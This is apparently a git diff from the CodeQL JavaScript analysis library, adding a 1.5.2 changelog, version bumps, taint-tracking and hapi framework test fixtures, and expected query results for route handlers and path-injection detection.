[
|
||||
"AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter"
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -1,3 +1,17 @@
|
||||
## 1.5.2
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
|
||||
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
|
||||
attribute is once again functioning as a sink for the `js/xss` query.
|
||||
* Fixed a bug that would in rare cases cause some regexp-based checks
|
||||
to be seen as generic taint sanitisers, even though the underlying regexp
|
||||
is not restrictive enough. The regexps are now analysed more precisely,
|
||||
and unrestrictive regexp checks will no longer block taint flow.
|
||||
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
|
||||
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
|
||||
|
||||
## 1.5.1
|
||||
|
||||
No user-facing changes.
|
||||
|
||||
@@ -1,5 +0,0 @@
|
||||
---
|
||||
category: fix
|
||||
---
|
||||
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
|
||||
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
|
||||
@@ -1,7 +0,0 @@
|
||||
---
|
||||
category: fix
|
||||
---
|
||||
* Fixed a bug that would in rare cases cause some regexp-based checks
|
||||
to be seen as generic taint sanitisers, even though the underlying regexp
|
||||
is not restrictive enough. The regexps are now analysed more precisely,
|
||||
and unrestrictive regexp checks will no longer block taint flow.
|
||||
@@ -1,6 +0,0 @@
|
||||
---
|
||||
category: fix
|
||||
---
|
||||
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
|
||||
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
|
||||
attribute is once again functioning as a sink for the `js/xss` query.
|
||||
13
javascript/ql/src/change-notes/released/1.5.2.md
Normal file
13
javascript/ql/src/change-notes/released/1.5.2.md
Normal file
@@ -0,0 +1,13 @@
|
||||
## 1.5.2
|
||||
|
||||
### Bug Fixes
|
||||
|
||||
* Fixed a bug, first introduced in `2.20.3`, that would prevent `v-html` attributes in Vue files
|
||||
from being flagged by the `js/xss` query. The original behaviour has been restored and the `v-html`
|
||||
attribute is once again functioning as a sink for the `js/xss` query.
|
||||
* Fixed a bug that would in rare cases cause some regexp-based checks
|
||||
to be seen as generic taint sanitisers, even though the underlying regexp
|
||||
is not restrictive enough. The regexps are now analysed more precisely,
|
||||
and unrestrictive regexp checks will no longer block taint flow.
|
||||
* Fixed a recently-introduced bug that caused `js/server-side-unvalidated-url-redirection` to ignore
|
||||
valid hostname checks and report spurious alerts after such a check. The original behaviour has been restored.
|
||||
@@ -1,2 +1,2 @@
|
||||
---
|
||||
lastReleaseVersion: 1.5.1
|
||||
lastReleaseVersion: 1.5.2
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
name: codeql/javascript-queries
|
||||
version: 1.5.2-dev
|
||||
version: 1.5.3-dev
|
||||
groups:
|
||||
- javascript
|
||||
- queries
|
||||
|
||||
@@ -9,3 +9,21 @@ function f() {
|
||||
lib.m1({
|
||||
...f()
|
||||
})
|
||||
|
||||
function getArgs() {
|
||||
return [
|
||||
'x', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */
|
||||
'y', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */
|
||||
]
|
||||
}
|
||||
|
||||
lib.m2(...getArgs());
|
||||
|
||||
function f3() {
|
||||
return [
|
||||
'x', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */
|
||||
'y', /* def=moduleImport("something").getMember("exports").getMember("m3").getSpreadArgument(1).getArrayElement() */
|
||||
]
|
||||
}
|
||||
|
||||
lib.m3.bind(undefined, 1)(...f3());
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
const express = require('express');
|
||||
const app = express();
|
||||
const testlib = require('testlib');
|
||||
|
||||
app.get('/before', (req, res) => {
|
||||
sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
|
||||
});
|
||||
|
||||
app.use(testlib.middleware());
|
||||
|
||||
app.get('/after', (req, res) => {
|
||||
sink(req.injectedReqData); // NOT OK
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // NOT OK
|
||||
});
|
||||
@@ -1,6 +1,10 @@
|
||||
legacyDataFlowDifference
|
||||
consistencyIssue
|
||||
taintFlow
|
||||
| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
|
||||
| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
|
||||
| paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
|
||||
| test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
|
||||
| test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |
|
||||
|
||||
@@ -13,6 +13,8 @@ extensions:
|
||||
- ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
|
||||
- ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
|
||||
- ['danger-constant', 'Member[danger]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
|
||||
|
||||
var Hapi = require('@hapi/hapi');
|
||||
var server2 = new Hapi.Server(); // HTTP::Server
|
||||
|
||||
function handler1(){} // HTTP::RouteHandler
|
||||
server2.route({
|
||||
handler: handler1
|
||||
});
|
||||
|
||||
|
||||
server2.route({
|
||||
handler: function handler2(request, reply){ // HTTP::RouteHandler
|
||||
request.response.header('HEADER1', '') // HTTP::HeaderDefinition
|
||||
}});
|
||||
|
||||
server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
|
||||
})
|
||||
|
||||
function handler4(request, reply){
|
||||
request.rawPayload;
|
||||
request.payload.foo;
|
||||
request.query.bar;
|
||||
request.url.path;
|
||||
request.headers.baz;
|
||||
request.state.token;
|
||||
}
|
||||
var route = {handler: handler4};
|
||||
server2.route(route);
|
||||
|
||||
server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
|
||||
|
||||
function getHandler() {
|
||||
return function (req, h){}
|
||||
}
|
||||
server2.route({handler: getHandler()});
|
||||
@@ -9,6 +9,11 @@ test_RouteSetup
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
|
||||
test_RequestExpr
|
||||
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapi.js:13:32:13:38 | request | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -38,12 +43,27 @@ test_RequestExpr
|
||||
| src/hapiglue.js:27:3:27:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:9 | request | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:36:22:36:24 | req | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:13:32:13:38 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:15 | request | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:48:17:54 | request | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:20:19:20:25 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:9 | request | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:34:22:34:24 | req | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
test_HeaderAccess
|
||||
| src/hapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | baz |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | baz |
|
||||
test_ResponseExpr
|
||||
| src/hapi.js:14:9:14:24 | request.response | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:24 | request.response | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:24 | request.response | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_RouteHandler
|
||||
| src/hapi.js:6:1:6:21 | functio ... er1(){} | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -55,9 +75,15 @@ test_RouteHandler
|
||||
| src/hapiglue.js:17:30:18:1 | functio ... ndler\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:6:1:6:21 | functio ... er1(){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
test_ServerDefinition
|
||||
| src/hapi.js:1:15:1:44 | new (re ... erver() |
|
||||
| src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -65,6 +91,8 @@ test_ServerDefinition
|
||||
| src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:43:19:43:24 | server |
|
||||
| src/hapiglue.js:44:45:44:51 | server_ |
|
||||
| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
|
||||
| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_RequestInputAccess
|
||||
| src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
@@ -80,6 +108,12 @@ test_RequestInputAccess
|
||||
| src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
test_RouteSetup_getServer
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
|
||||
test_HeaderDefinition_defines
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | |
|
||||
test_RouteSetup_getARouteHandler
|
||||
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
|
||||
test_RouteHandler_getARequestExpr
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
|
||||
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
|
||||
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
|
||||
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request |
|
||||
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
|
||||
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
|
||||
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
|
||||
test_HeaderDefinition_getAHeaderName
|
||||
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
|
||||
test_RouteHandler_getAResponseHeader
|
||||
| src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
|
||||
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |
|
||||
|
||||
@@ -51,6 +51,30 @@
|
||||
| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
|
||||
| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
|
||||
| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
|
||||
| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
|
||||
| more-fs-extra.js:10:15:10:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:10:15:10:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:11:11:11:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:11:11:11:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:12:14:12:21 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:12:14:12:21 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:13:18:13:25 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:13:18:13:25 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:14:11:14:18 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:14:11:14:18 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:15:21:15:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:15:21:15:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:16:21:16:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:16:21:16:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:17:31:17:38 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:17:31:17:38 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:18:15:18:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:18:15:18:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:19:25:19:32 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:19:25:19:32 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:20:21:20:28 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:20:21:20:28 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:21:17:21:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:21:17:21:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:22:16:22:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:22:16:22:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:23:20:23:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:23:20:23:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:24:19:24:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:24:19:24:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:25:15:25:22 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:25:15:25:22 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:26:19:26:26 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:26:19:26:26 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:27:13:27:20 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:27:13:27:20 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:28:17:28:24 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:28:17:28:24 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:29:23:29:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:29:23:29:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:30:16:30:23 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:30:16:30:23 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:31:20:31:27 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:31:20:31:27 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| more-fs-extra.js:32:23:32:30 | filename | more-fs-extra.js:8:26:8:33 | req.body | more-fs-extra.js:32:23:32:30 | filename | This path depends on a $@. | more-fs-extra.js:8:26:8:33 | req.body | user-provided value |
|
||||
| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
|
||||
@@ -344,6 +368,34 @@ edges
|
||||
| handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | |
|
||||
| handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | |
|
||||
| handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | |
|
||||
| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | |
|
||||
| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | |
|
||||
| more-fs-extra.js:8:11:8:22 | { filename } | more-fs-extra.js:8:13:8:20 | filename | provenance | Config |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:10:15:10:22 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:11:11:11:18 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:12:14:12:21 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:13:18:13:25 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:14:11:14:18 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:15:21:15:28 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:16:21:16:28 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:17:31:17:38 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:18:15:18:22 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:19:25:19:32 | filename | provenance | |
|
||||
| more-fs-extra.js:8:11:8:33 | filename | more-fs-extra.js:20:21:20:28 | filename | provenance | |
|
||||
